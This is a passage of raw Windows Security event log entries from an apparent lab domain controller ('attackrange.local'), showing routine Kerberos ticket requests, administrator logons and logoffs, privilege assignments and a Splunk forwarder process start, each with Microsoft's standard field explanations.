Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250358 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {DAA67AFB-3021-4172-D612-68D93CA3CCF8} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=250357 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {DAA67AFB-3021-4172-D612-68D93CA3CCF8} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=250356 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250355 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x107F25 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250354 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x107F25 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250353 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x107F25 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAA67AFB-3021-4172-D612-68D93CA3CCF8} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250352 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {DAA67AFB-3021-4172-D612-68D93CA3CCF8} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=250351 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {DAA67AFB-3021-4172-D612-68D93CA3CCF8} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=250350 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250349 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x107442 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250348 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xF16DD - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250347 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xF03A5 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250346 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x107E3D - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250345 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x107E3D - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64438 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250344 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x107E3D - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250343 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x107DDC - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250342 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x107DDC - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64437 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250341 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x107DDC - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250340 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x107D76 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250339 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x107D76 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64436 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250338 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x107D76 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250337 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x107D15 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250336 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x107D15 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64435 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250335 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x107D15 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250334 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1334 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-wmi.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x12d0 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-wmi.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250407 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x10A7BC - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250406 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x10A7BC - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {17F20083-7027-6012-0E65-C3D323582E2E} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250405 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {17F20083-7027-6012-0E65-C3D323582E2E} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=250404 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {17F20083-7027-6012-0E65-C3D323582E2E} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=250403 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for 